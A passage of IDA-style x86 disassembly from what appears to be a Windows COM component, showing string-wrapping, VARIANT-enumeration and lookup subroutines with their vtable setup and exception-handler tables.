mov dword ptr [edi], offset off_69B279BC
mov dword ptr [esi+34h], offset off_69B27874
mov dword ptr [esi+38h], offset off_69B27860
and dword ptr [esi+3Ch], 0
push 1000h
lea ecx, [esi+40h]
call sub_69B19B0D
and dword ptr [esi+70h], 0
pop edi
mov eax, esi
pop esi
retn
sub_69B3BA77 endp
; ---------------------------------------------------------------------------
loc_69B3BAD8: ; DATA XREF: .text:69B27888o
lea eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
loc_69B3BADC: ; DATA XREF: .text:69B27890o
; .text:69B27968o
add ecx, 0FFFFFFD8h
jmp sub_69B87FDC
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B3BAE4(int, LPCWSTR strIn, int, LPCWSTR psz2)
sub_69B3BAE4 proc near ; DATA XREF: .text:69B278B0o
strIn = dword ptr 8
arg_8 = dword ptr 0Ch
psz2 = dword ptr 10h
push [esp+psz2] ; psz2
push [esp+4+arg_8] ; int
push [esp+8+strIn] ; strIn
push 0 ; char
push offset dword_69B9849C ; int
call sub_69B2CFAA
retn 10h
sub_69B3BAE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3BAFF proc near ; DATA XREF: .text:69B278B4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
add eax, 0FFFFFFE8h
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 0
push offset dword_69B9849C
push eax
call sub_69B2C800
pop ebp
retn 20h
sub_69B3BAFF endp
; =============== S U B R O U T I N E =======================================
sub_69B3BB2E proc near ; CODE XREF: sub_69B5A12B+5j
; DATA XREF: .text:69B1237Co ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
add eax, 4
push [esp+8+arg_4]
push eax
call sub_69B2D21C
retn 10h
sub_69B3BB2E endp
; =============== S U B R O U T I N E =======================================
sub_69B3BB4A proc near ; DATA XREF: .text:off_69B278D4o
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B3B844
sub_69B3BB4A endp
; ---------------------------------------------------------------------------
loc_69B3BB54: ; DATA XREF: .text:off_69B27894o
sub dword ptr [esp+4], 18h
jmp sub_69B3B844
; ---------------------------------------------------------------------------
loc_69B3BB5E: ; DATA XREF: .text:off_69B27874o
sub dword ptr [esp+4], 34h
jmp sub_69B3B844
; ---------------------------------------------------------------------------
loc_69B3BB68: ; DATA XREF: .text:69B27878o
; .text:69B27950o
sub dword ptr [esp+4], 34h
jmp sub_69B1F56C
; ---------------------------------------------------------------------------
loc_69B3BB72: ; DATA XREF: .text:69B2787Co
; .text:69B27954o
sub dword ptr [esp+4], 34h
jmp sub_69B7793E
; ---------------------------------------------------------------------------
loc_69B3BB7C: ; DATA XREF: .text:off_69B27860o
sub dword ptr [esp+4], 38h
jmp sub_69B3B844
; ---------------------------------------------------------------------------
loc_69B3BB86: ; DATA XREF: .text:69B27864o
; .text:69B2793Co
sub dword ptr [esp+4], 38h
jmp sub_69B1F56C
; ---------------------------------------------------------------------------
loc_69B3BB90: ; DATA XREF: .text:69B27868o
; .text:69B27940o
sub dword ptr [esp+4], 38h
jmp sub_69B7793E
; ---------------------------------------------------------------------------
loc_69B3BB9A: ; DATA XREF: .text:69B1C838o
; .text:69B1C848o
push 20h
push offset dword_69B3BC40
call sub_69B19C5C
push 1
lea ecx, [ebp-24h]
call sub_69B11D3B
xor esi, esi
mov [ebp-28h], esi
mov [ebp-4], esi
mov edi, [ebp+0Ch]
cmp edi, esi
jz short loc_69B3BBC1
mov [edi], esi
loc_69B3BBC1: ; CODE XREF: .text:69B3BBBDj
push 74h
call sub_69B1D897
mov ecx, eax
mov [ebp-2Ch], ecx
cmp ecx, esi
jz short loc_69B3BBD8
call sub_69B3BA77
jmp short loc_69B3BBDA
; ---------------------------------------------------------------------------
loc_69B3BBD8: ; CODE XREF: .text:69B3BBCFj
xor eax, eax
loc_69B3BBDA: ; CODE XREF: .text:69B3BBD6j
mov esi, eax
mov [ebp-28h], esi
mov ecx, esi
call sub_69B3B82A
mov eax, [esi]
push edi
push dword ptr [ebp+8]
push esi
call dword ptr [eax]
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B3BC20
; ---------------------------------------------------------------------------
loc_69B3BBF8: ; DATA XREF: .text:69B3BC44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3BC01: ; DATA XREF: .text:69B3BC48o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-28h]
loc_69B3BC20: ; CODE XREF: .text:69B3BBF6j
test esi, esi
jz short loc_69B3BC2A
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B3BC2A: ; CODE XREF: .text:69B3BC22j
lea ecx, [ebp-24h]
call sub_69B1976C
mov eax, [ebp-30h]
call sub_69B1853C
retn 8
; ---------------------------------------------------------------------------
align 10h
dword_69B3BC40 dd 0FFFFFFFFh dd offset loc_69B3BBF8
dd offset loc_69B3BC01
; =============== S U B R O U T I N E =======================================
sub_69B3BC4C proc near ; CODE XREF: sub_69B3BCD7+3p
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi-0Ch]
lea ebx, [esi+10h]
mov ecx, edi
mov dword ptr [edi], offset off_69B1F544
mov dword ptr [esi-8], offset off_69B278D4
mov dword ptr [esi], offset off_69B278D0
mov dword ptr [esi+0Ch], offset off_69B27894
mov dword ptr [ebx], offset off_69B279BC
mov dword ptr [esi+28h], offset off_69B27874
mov dword ptr [esi+2Ch], offset off_69B27860
call sub_69B3B402
mov ecx, edi
call sub_69B3B3F4
lea edi, [esi+30h]
mov eax, [edi]
test eax, eax
jz short loc_69B3BCAA
push eax
call sub_69B3B4B1
push 0
push edi
call sub_69B17320
loc_69B3BCAA: ; CODE XREF: sub_69B3BC4C+4Ej
lea eax, [esi+64h]
push eax
call sub_69B17230
lea ecx, [esi+38h]
call loc_69B1AE86
push edi
call sub_69B17230
lea ecx, [esi-0Ch]
neg ecx
sbb ecx, ecx
and ecx, ebx
call sub_69B3BA55
pop edi
pop esi
pop ebx
jmp sub_69B2C65C
sub_69B3BC4C endp
; =============== S U B R O U T I N E =======================================
sub_69B3BCD7 proc near ; DATA XREF: .text:off_69B278D0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B3BC4C
test [esp+4+arg_0], 1
jz short loc_69B3BCEF
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B3BCEF: ; CODE XREF: sub_69B3BCD7+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B3BCD7 endp
; =============== S U B R O U T I N E =======================================
sub_69B3BCF6 proc near ; CODE XREF: sub_69B3BEC6+61p
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
push 0Ch
call sub_69B8AB3E
test eax, eax
jz short loc_69B3BD15
test dword ptr [eax+8], 7FFFFFFFh
jz short loc_69B3BD15
mov eax, [eax+4]
jmp short locret_69B3BD17
; ---------------------------------------------------------------------------
loc_69B3BD15: ; CODE XREF: sub_69B3BCF6+Fj
; sub_69B3BCF6+18j
xor eax, eax
locret_69B3BD17: ; CODE XREF: sub_69B3BCF6+1Dj
retn 4
sub_69B3BCF6 endp
; =============== S U B R O U T I N E =======================================
sub_69B3BD1A proc near ; CODE XREF: sub_69B3BEC6+79p
; sub_69B4FDBC+3E5p ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
push 8
call sub_69B8AB3E
test eax, eax
jz short loc_69B3BD30
mov eax, [eax+4]
jmp short locret_69B3BD32
; ---------------------------------------------------------------------------
loc_69B3BD30: ; CODE XREF: sub_69B3BD1A+Fj
xor eax, eax
locret_69B3BD32: ; CODE XREF: sub_69B3BD1A+14j
retn 4
sub_69B3BD1A endp
; =============== S U B R O U T I N E =======================================
sub_69B3BD35 proc near ; CODE XREF: sub_69B3BD89p
; sub_69B3BD91p
push 0C00CE21Fh
call sub_69B2D34C
mov eax, 80004005h
retn
sub_69B3BD35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3BD45(LPCWSTR lpString, int)
sub_69B3BD45 proc near ; CODE XREF: sub_69B3BEC6+4Dp
; sub_69B3C07A+61p ...
var_10 = byte ptr -10h
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 20h
lea ecx, [ebp+var_10]
call sub_69B3109C
mov eax, [ebp+arg_4]
test eax, eax
jge short loc_69B3BD67
push [ebp+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
test eax, eax
loc_69B3BD67: ; CODE XREF: sub_69B3BD45+15j
jz short loc_69B3BD77
push 1
push eax
push [ebp+lpString]
lea ecx, [ebp+var_10]
call sub_69B31369
loc_69B3BD77: ; CODE XREF: sub_69B3BD45:loc_69B3BD67j
lea ecx, [ebp+var_10]
call sub_69B31267
push eax
call sub_69B19611
leave
retn 8
sub_69B3BD45 endp
; =============== S U B R O U T I N E =======================================
sub_69B3BD89 proc near ; DATA XREF: .text:69B12388o
call sub_69B3BD35
retn 18h
sub_69B3BD89 endp
; =============== S U B R O U T I N E =======================================
sub_69B3BD91 proc near ; DATA XREF: .text:69B12390o
; .text:69B1239Co
call sub_69B3BD35
retn 8
sub_69B3BD91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3BD99(int, int, VARIANTARG *pvarg, int)
sub_69B3BD99 proc near ; DATA XREF: .text:69B1235Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
pvarg = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+pvarg]
test esi, esi
jnz short loc_69B3BDAB
mov eax, 80004003h
jmp short loc_69B3BE1B
; ---------------------------------------------------------------------------
loc_69B3BDAB: ; CODE XREF: sub_69B3BD99+9j
and [ebp+pvarg], 0
push ebx
push edi
mov edi, [ebp+arg_0]
mov ebx, [edi+14h]
jmp short loc_69B3BDDD
; ---------------------------------------------------------------------------
loc_69B3BDB9: ; CODE XREF: sub_69B3BD99+48j
mov eax, [edi+10h]
mov ecx, [eax]
lea edx, [ebp+arg_0]
push edx
push ebx
push eax
call dword ptr [ecx+2Ch]
test eax, eax
jnz short loc_69B3BDE5
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov word ptr [esi], 8
mov [esi+8], eax
inc ebx
add esi, 10h
loc_69B3BDDD: ; CODE XREF: sub_69B3BD99+1Ej
cmp [ebp+arg_4], 0
jnz short loc_69B3BDB9
jmp short loc_69B3BE05
; ---------------------------------------------------------------------------
loc_69B3BDE5: ; CODE XREF: sub_69B3BD99+30j
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_69B3BDFE
mov [ebp+arg_4], eax
loc_69B3BDEF: ; CODE XREF: sub_69B3BD99+63j
push esi ; pvarg
call VariantInit
add esi, 10h
dec [ebp+arg_4]
jnz short loc_69B3BDEF
loc_69B3BDFE: ; CODE XREF: sub_69B3BD99+51j
mov [ebp+pvarg], 1
loc_69B3BE05: ; CODE XREF: sub_69B3BD99+4Aj
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_69B3BE13
mov ecx, ebx
sub ecx, [edi+14h]
mov [eax], ecx
loc_69B3BE13: ; CODE XREF: sub_69B3BD99+71j
mov eax, [ebp+pvarg]
mov [edi+14h], ebx
pop edi
pop ebx
loc_69B3BE1B: ; CODE XREF: sub_69B3BD99+10j
pop esi
pop ebp
retn 10h
sub_69B3BD99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3BE20(BSTR, int)
sub_69B3BE20 proc near ; DATA XREF: .text:69B12360o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
add [eax+14h], ecx
mov ecx, [eax+14h]
push esi
xor esi, esi
cmp ecx, esi
jle short loc_69B3BE59
mov eax, [eax+10h]
push edi
lea edi, [ebp+arg_0]
push edi
push ecx
mov [ebp+arg_0], esi
mov edx, [eax]
push eax
call dword ptr [edx+2Ch]
test eax, eax
pop edi
jz short loc_69B3BE50
inc esi
jmp short loc_69B3BE59
; ---------------------------------------------------------------------------
loc_69B3BE50: ; CODE XREF: sub_69B3BE20+2Bj
push [ebp+arg_0] ; BSTR
call SysFreeString
loc_69B3BE59: ; CODE XREF: sub_69B3BE20+14j
; sub_69B3BE20+2Ej
mov eax, esi
pop esi
pop ebp
retn 8
sub_69B3BE20 endp
; =============== S U B R O U T I N E =======================================
sub_69B3BE60 proc near ; DATA XREF: .text:69B12364o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword ptr [eax+14h], 0
xor eax, eax
retn 4
sub_69B3BE60 endp
; =============== S U B R O U T I N E =======================================
sub_69B3BE6D proc near ; CODE XREF: sub_69B3C07A+73p
; sub_69B8BBC2+29p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push 0
push [esp+4+arg_0]
push 10h
call sub_69B8AB3E
test eax, eax
jz short loc_69B3BEA9
mov ecx, [esp+arg_4]
test ecx, ecx
jz short loc_69B3BE8B
mov edx, [eax+4]
mov [ecx], edx
loc_69B3BE8B: ; CODE XREF: sub_69B3BE6D+17j
mov ecx, [esp+arg_8]
test ecx, ecx
jz short loc_69B3BE98
mov edx, [eax+8]
mov [ecx], edx
loc_69B3BE98: ; CODE XREF: sub_69B3BE6D+24j
mov ecx, [esp+arg_C]
test ecx, ecx
jz short loc_69B3BEA5
mov eax, [eax+0Ch]
mov [ecx], eax
loc_69B3BEA5: ; CODE XREF: sub_69B3BE6D+31j
mov al, 1
jmp short locret_69B3BEAB
; ---------------------------------------------------------------------------
loc_69B3BEA9: ; CODE XREF: sub_69B3BE6D+Fj
xor al, al
locret_69B3BEAB: ; CODE XREF: sub_69B3BE6D+3Aj
retn 10h
sub_69B3BE6D endp
; =============== S U B R O U T I N E =======================================
sub_69B3BEAE proc near ; CODE XREF: sub_69B3C4C3+54p
arg_0 = dword ptr 4
push [esp+arg_0]
push 10h
call sub_69B8AB6F
test eax, eax
jz short loc_69B3BEC1
mov eax, [eax]
jmp short locret_69B3BEC3
; ---------------------------------------------------------------------------
loc_69B3BEC1: ; CODE XREF: sub_69B3BEAE+Dj
xor eax, eax
locret_69B3BEC3: ; CODE XREF: sub_69B3BEAE+11j
retn 4
sub_69B3BEAE endp
; =============== S U B R O U T I N E =======================================
sub_69B3BEC6 proc near ; DATA XREF: .text:69B1238Co
push 30h
push offset dword_69B3BFA0
call sub_69B19C5C
mov edi, [ebp+10h]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B3BEE5
mov eax, 80004003h
jmp loc_69B3BF96
; ---------------------------------------------------------------------------
loc_69B3BEE5: ; CODE XREF: sub_69B3BEC6+13j
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B3BEFC
mov eax, 80004005h
jmp loc_69B3BF96
; ---------------------------------------------------------------------------
loc_69B3BEFC: ; CODE XREF: sub_69B3BEC6+2Aj
mov esi, [ebp+8]
push dword ptr [esi+1Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], ebx
push 0FFFFFFFFh ; int
push dword ptr [ebp+0Ch] ; lpString
call sub_69B3BD45
mov [ebp-30h], eax
mov eax, [esi+20h]
mov [ebp-34h], eax
push dword ptr [ebp-30h]
lea ecx, [eax+0Ch]
call sub_69B3BCF6
mov [ebp-38h], eax
cmp eax, ebx
jnz short loc_69B3BF4B
mov esi, [esi+20h]
mov [ebp-3Ch], esi
push dword ptr [ebp-30h]
lea ecx, [esi+1Ch]
call sub_69B3BD1A
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B3BF56
loc_69B3BF4B: ; CODE XREF: sub_69B3BEC6+6Bj
mov ecx, eax
call sub_69B48B01
mov [edi], eax
jmp short loc_69B3BF58
; ---------------------------------------------------------------------------
loc_69B3BF56: ; CODE XREF: sub_69B3BEC6+83j
mov [edi], ebx
loc_69B3BF58: ; CODE XREF: sub_69B3BEC6+8Ej
mov [ebp-40h], ebx
jmp short loc_69B3BF7E
; ---------------------------------------------------------------------------
loc_69B3BF5D: ; DATA XREF: .text:69B3BFA4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3BF66: ; DATA XREF: .text:69B3BFA8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-40h], eax
loc_69B3BF7E: ; CODE XREF: sub_69B3BEC6+95j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-40h]
loc_69B3BF96: ; CODE XREF: sub_69B3BEC6+1Aj
; sub_69B3BEC6+31j
call sub_69B1853C
retn 0Ch
sub_69B3BEC6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B3BFA0 dd 0FFFFFFFFh dd offset loc_69B3BF5D
dd offset loc_69B3BF66
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3BFAC proc near ; DATA XREF: .text:69B12394o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
mov ebx, [ebp+arg_4]
test ebx, ebx
jnz short loc_69B3BFC1
mov eax, 80004003h
jmp short loc_69B3C005
; ---------------------------------------------------------------------------
loc_69B3BFC1: ; CODE XREF: sub_69B3BFAC+Cj
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B3BFD5
mov eax, 80004005h
jmp short loc_69B3C004
; ---------------------------------------------------------------------------
loc_69B3BFD5: ; CODE XREF: sub_69B3BFAC+20j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+1Ch]
lea ecx, [ebp+var_10]
push edi
call sub_69B18B3B
mov esi, [esi+20h]
lea ecx, [esi+0Ch]
call sub_69B8AB9D
lea ecx, [ebp+var_10]
mov [ebx], eax
call sub_69B18EBA
push edi
call dword_69B92944
xor eax, eax
pop esi
loc_69B3C004: ; CODE XREF: sub_69B3BFAC+27j
pop edi
loc_69B3C005: ; CODE XREF: sub_69B3BFAC+13j
pop ebx
leave
retn 8
sub_69B3BFAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3C00A proc near ; DATA XREF: .text:69B123CCo
var_10 = byte ptr -10h
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B3C024
mov eax, 80004005h
jmp short loc_69B3C075
; ---------------------------------------------------------------------------
loc_69B3C024: ; CODE XREF: sub_69B3C00A+11j
push esi
mov esi, [ebp+arg_0]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push edi
lea ecx, [ebp+var_10]
call sub_69B1A8C7
lea eax, [esi+4Ch]
push eax
lea ecx, [ebp+var_4]
call sub_69B1986C
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_69B3C056
mov ecx, [esi+48h]
mov [eax], ecx
xor esi, esi
jmp short loc_69B3C05B
; ---------------------------------------------------------------------------
loc_69B3C056: ; CODE XREF: sub_69B3C00A+41j
mov esi, 80004003h
loc_69B3C05B: ; CODE XREF: sub_69B3C00A+4Aj
lea ecx, [ebp+var_4]
call sub_69B1948C
lea ecx, [ebp+var_10]
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B3C075: ; CODE XREF: sub_69B3C00A+18j
pop edi
leave
retn 8
sub_69B3C00A endp
; =============== S U B R O U T I N E =======================================
sub_69B3C07A proc near ; DATA XREF: .text:69B123C4o
push 28h
push offset dword_69B3C158
call sub_69B19C5C
mov ebx, [ebp+10h]
xor edi, edi
cmp ebx, edi
jnz short loc_69B3C099
mov eax, 80004003h
jmp loc_69B3C14C
; ---------------------------------------------------------------------------
loc_69B3C099: ; CODE XREF: sub_69B3C07A+13j
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, edi
jnz short loc_69B3C0B0
mov eax, 80004005h
jmp loc_69B3C14C
; ---------------------------------------------------------------------------
loc_69B3C0B0: ; CODE XREF: sub_69B3C07A+2Aj
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
lea eax, [esi+4Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], edi
push 0FFFFFFFFh ; int
push dword ptr [ebp+0Ch] ; lpString
call sub_69B3BD45
mov [ebp-30h], eax
push edi
lea ecx, [ebp-34h]
push ecx
push edi
push eax
lea ecx, [esi+3Ch]
call sub_69B3BE6D
test al, al
jz short loc_69B3C106
mov ecx, [ebp-34h]
cmp ecx, edi
jz short loc_69B3C106
call sub_69B48B01
mov [ebx], eax
jmp short loc_69B3C108
; ---------------------------------------------------------------------------
loc_69B3C106: ; CODE XREF: sub_69B3C07A+7Aj
; sub_69B3C07A+81j
mov [ebx], edi
loc_69B3C108: ; CODE XREF: sub_69B3C07A+8Aj
mov [ebp-38h], edi
jmp short loc_69B3C12D
; ---------------------------------------------------------------------------
loc_69B3C10D: ; DATA XREF: .text:69B3C15Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3C116: ; DATA XREF: .text:69B3C160o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B3C12D: ; CODE XREF: sub_69B3C07A+91j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B3C14C: ; CODE XREF: sub_69B3C07A+1Aj
; sub_69B3C07A+31j
call sub_69B1853C
retn 0Ch
sub_69B3C07A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B3C158 dd 0FFFFFFFFh dd offset loc_69B3C10D
dd offset loc_69B3C116
; =============== S U B R O U T I N E =======================================
sub_69B3C164 proc near ; CODE XREF: sub_69B3CA88+3p
mov dword ptr [ecx-4], offset off_69B12350
mov dword ptr [ecx], offset off_69B278F4
mov ecx, [ecx+0Ch]
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
jmp sub_69B2C65C
sub_69B3C164 endp
; =============== S U B R O U T I N E =======================================
sub_69B3C17F proc near ; CODE XREF: sub_69B3CA5C+3p
; sub_69B54ADC+3p
push esi
mov esi, ecx
push offset dword_69B2AFD0
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B3C17F endp
; =============== S U B R O U T I N E =======================================
sub_69B3C198 proc near ; CODE XREF: sub_69B3C634+1C6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
push 10h
call sub_69B8AE52
mov esi, eax
mov eax, [edi]
push edi
call dword ptr [eax+4]
push [esp+8+arg_4]
lea eax, [esi+4]
push eax
call sub_69B17320
mov eax, [esp+8+arg_8]
push [esp+8+arg_C]
mov [esi+8], eax
add esi, 0Ch
push esi
call sub_69B17320
pop edi
pop esi
retn 10h
sub_69B3C198 endp
; =============== S U B R O U T I N E =======================================
sub_69B3C1D4 proc near ; CODE XREF: sub_69B3C574+5Bp
; sub_69B3C634+1B5p ...
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push [esp+10h+arg_0]
mov edi, ecx
push 10h
call sub_69B8AB3E
mov esi, eax
cmp esi, ebx
jz short loc_69B3C20E
push ebx
push esi
call sub_69B17320
push ebx
lea eax, [esi+4]
push eax
call sub_69B17320
mov [esi+8], ebx
push ebx
add esi, 0Ch
push esi
call sub_69B17320
dec dword ptr [edi+0Ch]
loc_69B3C20E: ; CODE XREF: sub_69B3C1D4+17j
pop edi
pop esi
pop ebx
retn 4
sub_69B3C1D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3C214 proc near ; CODE XREF: sub_69B3C888+C1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push esi
mov esi, [eax+4]
mov [ebp+var_4], ecx
mov ecx, [eax+0Ch]
add esi, 0Ch
test ecx, ecx
jz short loc_69B3C28B
push ebx
mov [ebp+arg_0], ecx
push edi
loc_69B3C231: ; CODE XREF: sub_69B3C214+73j
xor eax, eax
jmp short loc_69B3C238
; ---------------------------------------------------------------------------
loc_69B3C235: ; CODE XREF: sub_69B3C214+26j
add esi, 10h
loc_69B3C238: ; CODE XREF: sub_69B3C214+1Fj
cmp [esi], eax
jz short loc_69B3C235
mov ebx, [esi]
mov ecx, [ebp+var_4]
push eax
push ebx
push 10h
call sub_69B8AB3E
mov edi, eax
test edi, edi
jnz short loc_69B3C263
mov ecx, [ebp+var_4]
push ebx
push 10h
call sub_69B8AE52
mov edi, eax
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
loc_69B3C263: ; CODE XREF: sub_69B3C214+3Aj
lea eax, [esi+4]
push eax
lea ecx, [edi+4]
call sub_69B4D414
mov eax, [esi+8]
mov [edi+8], eax
lea eax, [esi+0Ch]
push eax
lea ecx, [edi+0Ch]
call sub_69B4D414
add esi, 10h
dec [ebp+arg_0]
jnz short loc_69B3C231
pop edi
pop ebx
loc_69B3C28B: ; CODE XREF: sub_69B3C214+16j
pop esi
leave
retn 4
sub_69B3C214 endp
; =============== S U B R O U T I N E =======================================
sub_69B3C290 proc near ; CODE XREF: sub_69B3CB11+3p
push esi
mov esi, ecx
lea eax, [esi+14h]
push eax
mov dword ptr [esi-0Ch], offset off_69B1236C
mov dword ptr [esi-8], offset off_69B2908C
mov dword ptr [esi], offset off_69B27934
mov dword ptr [esi+0Ch], offset off_69B278F8
call sub_69B17230
add esi, 10h
push esi
call sub_69B2DEDD
pop esi
jmp sub_69B2C65C
sub_69B3C290 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B3C2C6(int, LPCWSTR strIn, int, LPCWSTR psz2)
sub_69B3C2C6 proc near ; DATA XREF: .text:69B27914o
; .text:69B27988o
strIn = dword ptr 8
arg_8 = dword ptr 0Ch
psz2 = dword ptr 10h
push [esp+psz2] ; psz2
push [esp+4+arg_8] ; int
push [esp+8+strIn] ; strIn
push 0 ; char
push offset dword_69B984C0 ; int
call sub_69B2CFAA
retn 10h
sub_69B3C2C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3C2E1 proc near ; DATA XREF: .text:69B27918o
; .text:69B2798Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
add eax, 0FFFFFFE8h
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 0
push offset dword_69B984C0
push eax
call sub_69B2C800
pop ebp
retn 20h
sub_69B3C2E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3C310 proc near ; CODE XREF: sub_69B5A13F+5j
; sub_69B7470E+5Ap
; DATA XREF: ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
push [ebp+arg_20]
mov eax, [ebp+arg_0]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
add eax, 4
push eax
call sub_69B2D36F
pop ebp
retn 24h
sub_69B3C310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3C33C proc near ; DATA XREF: .text:69B12398o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push edi
mov edi, [ebp+arg_8]
test edi, edi
jnz short loc_69B3C351
mov eax, 80004003h
jmp short loc_69B3C3CE
; ---------------------------------------------------------------------------
loc_69B3C351: ; CODE XREF: sub_69B3C33C+Cj
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B3C365
mov eax, 80004005h
